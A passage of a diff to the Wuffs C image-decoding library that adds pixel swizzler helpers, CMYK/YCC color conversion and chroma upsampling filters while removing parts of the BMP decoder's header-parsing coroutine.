wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); ++ return 0; ++} ++ ++WUFFS_BASE__MAYBE_STATIC uint64_t // ++wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( ++ const wuffs_base__pixel_swizzler* p, ++ wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 dst_palette, ++ const uint8_t** ptr_iop_r, ++ const uint8_t* io2_r) { ++ if (p && p->private_impl.func) { ++ const uint8_t* iop_r = *ptr_iop_r; ++ uint64_t src_len = ((uint64_t)(io2_r - iop_r)); ++ uint64_t n = ++ (*p->private_impl.func)(dst.ptr, dst.len, dst_palette.ptr, ++ dst_palette.len, iop_r, (size_t)src_len); ++ *ptr_iop_r += n * p->private_impl.src_pixfmt_bytes_per_pixel; ++ return n; + } +- if (!a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ return 0; ++} ++ ++WUFFS_BASE__MAYBE_STATIC uint64_t // ++wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice( ++ const wuffs_base__pixel_swizzler* p, ++ wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src) { ++ if (p && p->private_impl.func) { ++ return (*p->private_impl.func)(dst.ptr, dst.len, dst_palette.ptr, ++ dst_palette.len, src.ptr, src.len); + } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 1)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ return 0; ++} ++ ++WUFFS_BASE__MAYBE_STATIC uint64_t // ++wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black( ++ const wuffs_base__pixel_swizzler* p, ++ wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 dst_palette, ++ uint64_t num_pixels) { ++ if (p && p->private_impl.transparent_black_func) { ++ return (*p->private_impl.transparent_black_func)( ++ dst.ptr, dst.len, dst_palette.ptr, dst_palette.len, num_pixels, ++ p->private_impl.dst_pixfmt_bytes_per_pixel); + } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); ++ return 0; ++} + +- wuffs_base__status v_status = wuffs_base__make_status(NULL); ++// -------- + +- uint32_t coro_susp_point = self->private_impl.p_decode_image_config[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") ++static void // ++wuffs_private_impl__swizzle_ycc__convert_3_bgrx_x86_avx2( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x, ++ uint32_t x_end, ++ uint32_t y, ++ const uint8_t* up0, ++ const uint8_t* up1, ++ const uint8_t* up2); + +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_bmp__decoder__do_decode_image_config(self, a_dst, a_src); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_bmp__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") ++static void // ++wuffs_private_impl__swizzle_ycc__convert_3_rgbx_x86_avx2( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x, ++ uint32_t x_end, ++ uint32_t y, ++ const uint8_t* up0, ++ const uint8_t* up1, ++ const uint8_t* up2); + +- ok: +- self->private_impl.p_decode_image_config[0] = 0; +- goto exit; +- } ++#if defined(__GNUC__) && !defined(__clang__) ++// No-op. ++#else ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") ++static const uint8_t* // ++wuffs_private_impl__swizzle_ycc__upsample_inv_h2v2_triangle_x86_avx2( ++ uint8_t* dst_ptr, ++ const uint8_t* src_ptr_major, ++ const uint8_t* src_ptr_minor, ++ size_t src_len, ++ uint32_t h1v2_bias_ignored, ++ bool first_column, ++ bool last_column); ++#endif ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) + +- goto suspend; +- suspend: +- self->private_impl.p_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++// -------- + +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } +- return status; ++static inline uint32_t // ++wuffs_private_impl__u32__max_of_4(uint32_t a, ++ uint32_t b, ++ uint32_t c, ++ uint32_t d) { ++ return wuffs_base__u32__max( // ++ wuffs_base__u32__max(a, b), // ++ wuffs_base__u32__max(c, d)); + } + +-// -------- func bmp.decoder.do_decode_image_config ++static inline uint32_t // ++wuffs_private_impl__u32__min_of_5(uint32_t a, ++ uint32_t b, ++ uint32_t c, ++ uint32_t d, ++ uint32_t e) { ++ return wuffs_base__u32__min( // ++ wuffs_base__u32__min( // ++ wuffs_base__u32__min(a, b), // ++ wuffs_base__u32__min(c, d)), // ++ e); ++} + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__do_decode_image_config( +- wuffs_bmp__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++// -------- + +- uint32_t v_magic = 0; +- uint32_t v_width = 0; +- uint32_t v_height = 0; +- uint32_t v_planes = 0; +- uint32_t v_dst_pixfmt = 0; +- uint32_t v_byte_width = 0; ++typedef void (*wuffs_private_impl__swizzle_ycc__convert_4_func)( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x, ++ uint32_t x_end, ++ uint32_t y, ++ const uint8_t* up0, ++ const uint8_t* up1, ++ const uint8_t* up2, ++ const uint8_t* up3); + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; ++static void // ++wuffs_private_impl__swizzle_cmyk__convert_4_general( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x, ++ uint32_t x_end, ++ uint32_t y, ++ const uint8_t* up0, ++ const uint8_t* up1, ++ const uint8_t* up2, ++ const uint8_t* up3) { ++ for (; x < x_end; x++) { ++ // It's called CMYK but, but for Adobe CMYK JPEG images in practice, it's ++ // RGBW: 0xFFu means no ink instead of full ink. Note that a double ++ // inversion is a no-op, so inversions might be implicit in the code below. ++ uint32_t r = ((uint32_t)(*up0++)); ++ uint32_t g = ((uint32_t)(*up1++)); ++ uint32_t b = ((uint32_t)(*up2++)); ++ uint32_t w = ((uint32_t)(*up3++)); ++ r = ((r * w) + 0x7Fu) / 0xFFu; ++ g = ((g * w) + 0x7Fu) / 0xFFu; ++ b = ((b * w) + 0x7Fu) / 0xFFu; ++ wuffs_base__pixel_buffer__set_color_u32_at( ++ dst, x, y, 0xFF000000u | (r << 16u) | (g << 8u) | (b << 0u)); + } ++} + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++static void // ++wuffs_private_impl__swizzle_ycck__convert_4_general( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x, ++ uint32_t x_end, ++ uint32_t y, ++ const uint8_t* up0, ++ const uint8_t* up1, ++ const uint8_t* up2, ++ const uint8_t* up3) { ++ for (; x < x_end; x++) { ++ // We invert once again: 0xFFu means no ink instead of full ink. ++ uint32_t color = // ++ wuffs_base__color_ycc__as__color_u32( // ++ *up0++, *up1++, *up2++); ++ uint32_t r = 0xFFu - (0xFFu & (color >> 16u)); ++ uint32_t g = 0xFFu - (0xFFu & (color >> 8u)); ++ uint32_t b = 0xFFu - (0xFFu & (color >> 0u)); ++ uint32_t w = ((uint32_t)(*up3++)); ++ r = ((r * w) + 0x7Fu) / 0xFFu; ++ g = ((g * w) + 0x7Fu) / 0xFFu; ++ b = ((b * w) + 0x7Fu) / 0xFFu; ++ wuffs_base__pixel_buffer__set_color_u32_at( ++ dst, x, y, 0xFF000000u | (r << 16u) | (g << 8u) | (b << 0u)); ++ } ++} + +- if ((self->private_impl.f_call_sequence != 0u) || (self->private_impl.f_io_redirect_fourcc == 1u)) { +- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- goto exit; +- } else if (self->private_impl.f_io_redirect_fourcc != 0u) { +- status = wuffs_base__make_status(wuffs_base__note__i_o_redirect); +- goto ok; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint32_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_0 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; +- if (num_bits_0 == 8) { +- t_0 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)) << 56; +- } +- } +- v_magic = t_0; +- } +- if (v_magic != 19778u) { +- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); +- goto exit; +- } +- self->private_data.s_do_decode_image_config[0].scratch = 8u; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- if (self->private_data.s_do_decode_image_config[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_decode_image_config[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++// -------- ++ ++typedef void (*wuffs_private_impl__swizzle_ycc__convert_3_func)( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x, ++ uint32_t x_end, ++ uint32_t y, ++ const uint8_t* up0, ++ const uint8_t* up1, ++ const uint8_t* up2); ++ ++static void // ++wuffs_private_impl__swizzle_rgb__convert_3_general( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x, ++ uint32_t x_end, ++ uint32_t y, ++ const uint8_t* up0, ++ const uint8_t* up1, ++ const uint8_t* up2) { ++ for (; x < x_end; x++) { ++ uint32_t color = 0xFF000000u | // ++ (((uint32_t)(*up0++)) << 16u) | // ++ (((uint32_t)(*up1++)) << 8u) | // ++ (((uint32_t)(*up2++)) << 0u); ++ wuffs_base__pixel_buffer__set_color_u32_at(dst, x, y, color); ++ } ++} ++ ++static void // ++wuffs_private_impl__swizzle_ycc__convert_3_general( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x, ++ uint32_t x_end, ++ uint32_t y, ++ const uint8_t* up0, ++ const uint8_t* up1, ++ const uint8_t* up2) { ++ for (; x < x_end; x++) { ++ uint32_t color = // ++ wuffs_base__color_ycc__as__color_u32( // ++ *up0++, *up1++, *up2++); ++ wuffs_base__pixel_buffer__set_color_u32_at(dst, x, y, color); ++ } ++} ++ ++static void // ++wuffs_private_impl__swizzle_ycc__convert_3_bgrx(wuffs_base__pixel_buffer* dst, ++ uint32_t x, ++ uint32_t x_end, ++ uint32_t y, ++ const uint8_t* up0, ++ const uint8_t* up1, ++ const uint8_t* up2) { ++ size_t dst_stride = dst->private_impl.planes[0].stride; ++ uint8_t* dst_iter = dst->private_impl.planes[0].ptr + ++ (dst_stride * ((size_t)y)) + (4u * ((size_t)x)); ++ ++ for (; x < x_end; x++) { ++ uint32_t color = // ++ wuffs_base__color_ycc__as__color_u32( // ++ *up0++, *up1++, *up2++); ++ wuffs_base__poke_u32le__no_bounds_check(dst_iter, color); ++ dst_iter += 4u; ++ } ++} ++ ++static void // ++wuffs_private_impl__swizzle_ycc__convert_3_rgbx(wuffs_base__pixel_buffer* dst, ++ uint32_t x, ++ uint32_t x_end, ++ uint32_t y, ++ const uint8_t* up0, ++ const uint8_t* up1, ++ const uint8_t* up2) { ++ size_t dst_stride = dst->private_impl.planes[0].stride; ++ uint8_t* dst_iter = dst->private_impl.planes[0].ptr + ++ (dst_stride * ((size_t)y)) + (4u * ((size_t)x)); ++ ++ for (; x < x_end; x++) { ++ uint32_t color = // ++ wuffs_base__color_ycc__as__color_u32_abgr( // ++ *up0++, *up1++, *up2++); ++ wuffs_base__poke_u32le__no_bounds_check(dst_iter, color); ++ dst_iter += 4u; ++ } ++} ++ ++// -------- ++ ++// wuffs_private_impl__swizzle_ycc__upsample_func upsamples to a destination ++// slice at least 480 (YCCK) or 672 (YCC) bytes long and whose src_len ++// (multiplied by 1, 2, 3 or 4) is positive but no more than that. This 480 or ++// 672 length is just under 1/4 or 1/3 of the scratch_buffer_2k slice length. ++// Both (480 * 4) = 1920 and (672 * 3) = 2016 are less than 2048. ++// ++// 480 and 672 are nice round numbers because a JPEG MCU is 1, 2, 3 or 4 blocks ++// wide and each block is 8 pixels wide. We have: ++// 480 = 1 * 8 * 60, 672 = 1 * 8 * 84 ++// 480 = 2 * 8 * 30, 672 = 2 * 8 * 42 ++// 480 = 3 * 8 * 20, 672 = 3 * 8 * 28 ++// 480 = 4 * 8 * 15, 672 = 4 * 8 * 21 ++// ++// Box filters are equivalent to nearest neighbor upsampling. These ignore the ++// src_ptr_minor, h1v2_bias, first_column and last_column arguments. ++// ++// Triangle filters use a 3:1 ratio (in 1 dimension), or 9:3:3:1 (in 2 ++// dimensions), which is higher quality (less blocky) but also higher ++// computational effort. ++// ++// In theory, we could use triangle filters for any (inv_h, inv_v) combination. ++// In practice, matching libjpeg-turbo, we only implement it for the common ++// chroma subsampling ratios (YCC420, YCC422 or YCC440), corresponding to an ++// (inv_h, inv_v) pair of (2, 2), (2, 1) or (1, 2). ++typedef const uint8_t* (*wuffs_private_impl__swizzle_ycc__upsample_func)( ++ uint8_t* dst_ptr, ++ const uint8_t* src_ptr_major, // Nearest row. ++ const uint8_t* src_ptr_minor, // Adjacent row, alternating above or below. ++ size_t src_len, ++ uint32_t h1v2_bias, ++ bool first_column, ++ bool last_column); ++ ++static const uint8_t* // ++wuffs_private_impl__swizzle_ycc__upsample_inv_h1vn_box( ++ uint8_t* dst_ptr, ++ const uint8_t* src_ptr_major, ++ const uint8_t* src_ptr_minor_ignored, ++ size_t src_len, ++ uint32_t h1v2_bias_ignored, ++ bool first_column_ignored, ++ bool last_column_ignored) { ++ return src_ptr_major; ++} ++ ++static const uint8_t* // ++wuffs_private_impl__swizzle_ycc__upsample_inv_h2vn_box( ++ uint8_t* dst_ptr, ++ const uint8_t* src_ptr_major, ++ const uint8_t* src_ptr_minor_ignored, ++ size_t src_len, ++ uint32_t h1v2_bias_ignored, ++ bool first_column_ignored, ++ bool last_column_ignored) { ++ uint8_t* dp = dst_ptr; ++ const uint8_t* sp = src_ptr_major; ++ while (src_len--) { ++ uint8_t sv = *sp++; ++ *dp++ = sv; ++ *dp++ = sv; ++ } ++ return dst_ptr; ++} ++ ++static const uint8_t* // ++wuffs_private_impl__swizzle_ycc__upsample_inv_h3vn_box( ++ uint8_t* dst_ptr, ++ const uint8_t* src_ptr_major, ++ const uint8_t* src_ptr_minor_ignored, ++ size_t src_len, ++ uint32_t h1v2_bias_ignored, ++ bool first_column_ignored, ++ bool last_column_ignored) { ++ uint8_t* dp = dst_ptr; ++ const uint8_t* sp = src_ptr_major; ++ while (src_len--) { ++ uint8_t sv = *sp++; ++ *dp++ = sv; ++ *dp++ = sv; ++ *dp++ = sv; ++ } ++ return dst_ptr; ++} ++ ++static const uint8_t* // ++wuffs_private_impl__swizzle_ycc__upsample_inv_h4vn_box( ++ uint8_t* dst_ptr, ++ const uint8_t* src_ptr_major, ++ const uint8_t* src_ptr_minor_ignored, ++ size_t src_len, ++ uint32_t h1v2_bias_ignored, ++ bool first_column_ignored, ++ bool last_column_ignored) { ++ uint8_t* dp = dst_ptr; ++ const uint8_t* sp = src_ptr_major; ++ while (src_len--) { ++ uint8_t sv = *sp++; ++ *dp++ = sv; ++ *dp++ = sv; ++ *dp++ = sv; ++ *dp++ = sv; ++ } ++ return dst_ptr; ++} ++ ++static const uint8_t* // ++wuffs_private_impl__swizzle_ycc__upsample_inv_h1v2_triangle( ++ uint8_t* dst_ptr, ++ const uint8_t* src_ptr_major, ++ const uint8_t* src_ptr_minor, ++ size_t src_len, ++ uint32_t h1v2_bias, ++ bool first_column, ++ bool last_column) { ++ uint8_t* dp = dst_ptr; ++ const uint8_t* sp_major = src_ptr_major; ++ const uint8_t* sp_minor = src_ptr_minor; ++ while (src_len--) { ++ *dp++ = (uint8_t)(((3u * ((uint32_t)(*sp_major++))) + // ++ (1u * ((uint32_t)(*sp_minor++))) + // ++ h1v2_bias) >> ++ 2u); ++ } ++ return dst_ptr; ++} ++ ++static const uint8_t* // ++wuffs_private_impl__swizzle_ycc__upsample_inv_h2v1_triangle( ++ uint8_t* dst_ptr, ++ const uint8_t* src_ptr_major, ++ const uint8_t* src_ptr_minor, ++ size_t src_len, ++ uint32_t h1v2_bias_ignored, ++ bool first_column, ++ bool last_column) { ++ uint8_t* dp = dst_ptr; ++ const uint8_t* sp = src_ptr_major; ++ ++ if (first_column) { ++ src_len--; ++ if ((src_len <= 0u) && last_column) { ++ uint8_t sv = *sp++; ++ *dp++ = sv; ++ *dp++ = sv; ++ return dst_ptr; + } +- iop_a_src += self->private_data.s_do_decode_image_config[0].scratch; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- uint32_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; +- if (num_bits_1 == 24) { +- t_1 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)) << 56; +- } +- } +- self->private_impl.f_padding = t_1; ++ uint32_t svp1 = sp[+1]; ++ uint8_t sv = *sp++; ++ *dp++ = sv; ++ *dp++ = (uint8_t)(((3u * (uint32_t)sv) + svp1 + 2u) >> 2u); ++ if (src_len <= 0u) { ++ return dst_ptr; + } +- if (self->private_impl.f_padding < 14u) { +- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); +- goto exit; ++ } ++ ++ if (last_column) { ++ src_len--; ++ } ++ ++ for (; src_len > 0u; src_len--) { ++ uint32_t svm1 = sp[-1]; ++ uint32_t svp1 = sp[+1]; ++ uint32_t sv3 = 3u * (uint32_t)(*sp++); ++ *dp++ = (uint8_t)((sv3 + svm1 + 1u) >> 2u); ++ *dp++ = (uint8_t)((sv3 + svp1 + 2u) >> 2u); ++ } ++ ++ if (last_column) { ++ uint32_t svm1 = sp[-1]; ++ uint8_t sv = *sp++; ++ *dp++ = (uint8_t)(((3u * (uint32_t)sv) + svm1 + 1u) >> 2u); ++ *dp++ = sv; ++ } ++ ++ return dst_ptr; ++} ++ ++static const uint8_t* // ++wuffs_private_impl__swizzle_ycc__upsample_inv_h2v2_triangle( ++ uint8_t* dst_ptr, ++ const uint8_t* src_ptr_major, ++ const uint8_t* src_ptr_minor, ++ size_t src_len, ++ uint32_t h1v2_bias_ignored, ++ bool first_column, ++ bool last_column) { ++ uint8_t* dp = dst_ptr; ++ const uint8_t* sp_major = src_ptr_major; ++ const uint8_t* sp_minor = src_ptr_minor; ++ ++ if (first_column) { ++ src_len--; ++ if ((src_len <= 0u) && last_column) { ++ uint32_t sv = (12u * ((uint32_t)(*sp_major++))) + // ++ (4u * ((uint32_t)(*sp_minor++))); ++ *dp++ = (uint8_t)((sv + 8u) >> 4u); ++ *dp++ = (uint8_t)((sv + 7u) >> 4u); ++ return dst_ptr; + } +- self->private_impl.f_padding -= 14u; +- self->private_impl.f_io_redirect_pos = wuffs_base__u64__sat_add(((uint64_t)(self->private_impl.f_padding)), wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))); +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- uint32_t t_2; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_2 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; +- if (num_bits_2 == 24) { +- t_2 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_2 += 8u; +- *scratch |= ((uint64_t)(num_bits_2)) << 56; +- } +- } +- self->private_impl.f_bitmap_info_len = t_2; ++ ++ uint32_t sv_major_m1 = sp_major[-0]; // Clamp offset to zero. ++ uint32_t sv_minor_m1 = sp_minor[-0]; // Clamp offset to zero. ++ uint32_t sv_major_p1 = sp_major[+1]; ++ uint32_t sv_minor_p1 = sp_minor[+1]; ++ ++ uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // ++ (3u * ((uint32_t)(*sp_minor++))); ++ *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); ++ *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); ++ if (src_len <= 0u) { ++ return dst_ptr; + } +- if (self->private_impl.f_padding < self->private_impl.f_bitmap_info_len) { +- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); +- goto exit; ++ } ++ ++ if (last_column) { ++ src_len--; ++ } ++ ++ for (; src_len > 0u; src_len--) { ++ uint32_t sv_major_m1 = sp_major[-1]; ++ uint32_t sv_minor_m1 = sp_minor[-1]; ++ uint32_t sv_major_p1 = sp_major[+1]; ++ uint32_t sv_minor_p1 = sp_minor[+1]; ++ ++ uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // ++ (3u * ((uint32_t)(*sp_minor++))); ++ *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); ++ *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); ++ } ++ ++ if (last_column) { ++ uint32_t sv_major_m1 = sp_major[-1]; ++ uint32_t sv_minor_m1 = sp_minor[-1]; ++ uint32_t sv_major_p1 = sp_major[+0]; // Clamp offset to zero. ++ uint32_t sv_minor_p1 = sp_minor[+0]; // Clamp offset to zero. ++ ++ uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // ++ (3u * ((uint32_t)(*sp_minor++))); ++ *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); ++ *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); ++ } ++ ++ return dst_ptr; ++} ++ ++// wuffs_private_impl__swizzle_ycc__upsample_funcs is indexed by inv_h and then ++// inv_v. ++static const wuffs_private_impl__swizzle_ycc__upsample_func ++ wuffs_private_impl__swizzle_ycc__upsample_funcs[4][4] = { ++ { ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h1vn_box, ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h1vn_box, ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h1vn_box, ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h1vn_box, ++ }, ++ { ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h2vn_box, ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h2vn_box, ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h2vn_box, ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h2vn_box, ++ }, ++ { ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h3vn_box, ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h3vn_box, ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h3vn_box, ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h3vn_box, ++ }, ++ { ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h4vn_box, ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h4vn_box, ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h4vn_box, ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h4vn_box, ++ }, ++}; ++ ++static inline uint32_t // ++wuffs_private_impl__swizzle_has_triangle_upsampler(uint32_t inv_h, ++ uint32_t inv_v) { ++ if (inv_h == 1u) { ++ return inv_v == 2u; ++ } else if (inv_h == 2u) { ++ return (inv_v == 1u) || (inv_v == 2u); ++ } ++ return false; ++} ++ ++// -------- ++ ++// All of the wuffs_private_impl__swizzle_ycc__etc functions have ++// preconditions. See all of the checks made in ++// wuffs_base__pixel_swizzler__swizzle_ycck before calling these functions. For ++// example, (width > 0) is a precondition, but there are many more. ++ ++static void // ++wuffs_private_impl__swizzle_ycck__general__triangle_filter_edge_row( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t width, ++ uint32_t y, ++ const uint8_t* src_ptr0, ++ const uint8_t* src_ptr1, ++ const uint8_t* src_ptr2, ++ const uint8_t* src_ptr3, ++ uint32_t stride0, ++ uint32_t stride1, ++ uint32_t stride2, ++ uint32_t stride3, ++ uint32_t inv_h0, ++ uint32_t inv_h1, ++ uint32_t inv_h2, ++ uint32_t inv_h3, ++ uint32_t inv_v0, ++ uint32_t inv_v1, ++ uint32_t inv_v2, ++ uint32_t inv_v3, ++ uint32_t half_width_for_2to1, ++ uint32_t h1v2_bias, ++ uint8_t* scratch_buffer_2k_ptr, ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc0, ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc1, ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc2, ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc3, ++ wuffs_private_impl__swizzle_ycc__convert_4_func conv4func) { ++ const uint8_t* src0 = src_ptr0 + ((y / inv_v0) * (size_t)stride0); ++ const uint8_t* src1 = src_ptr1 + ((y / inv_v1) * (size_t)stride1); ++ const uint8_t* src2 = src_ptr2 + ((y / inv_v2) * (size_t)stride2); ++ const uint8_t* src3 = src_ptr3 + ((y / inv_v3) * (size_t)stride3); ++ uint32_t total_src_len0 = 0u; ++ uint32_t total_src_len1 = 0u; ++ uint32_t total_src_len2 = 0u; ++ uint32_t total_src_len3 = 0u; ++ ++ uint32_t x = 0u; ++ while (x < width) { ++ bool first_column = x == 0u; ++ uint32_t end = x + 480u; ++ if (end > width) { ++ end = width; + } +- self->private_impl.f_padding -= self->private_impl.f_bitmap_info_len; +- if (self->private_impl.f_bitmap_info_len == 12u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- uint32_t t_3; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_3 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; +- if (num_bits_3 == 8) { +- t_3 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_3 += 8u; +- *scratch |= ((uint64_t)(num_bits_3)) << 56; +- } +- } +- self->private_impl.f_width = t_3; ++ ++ uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; ++ uint32_t src_len1 = 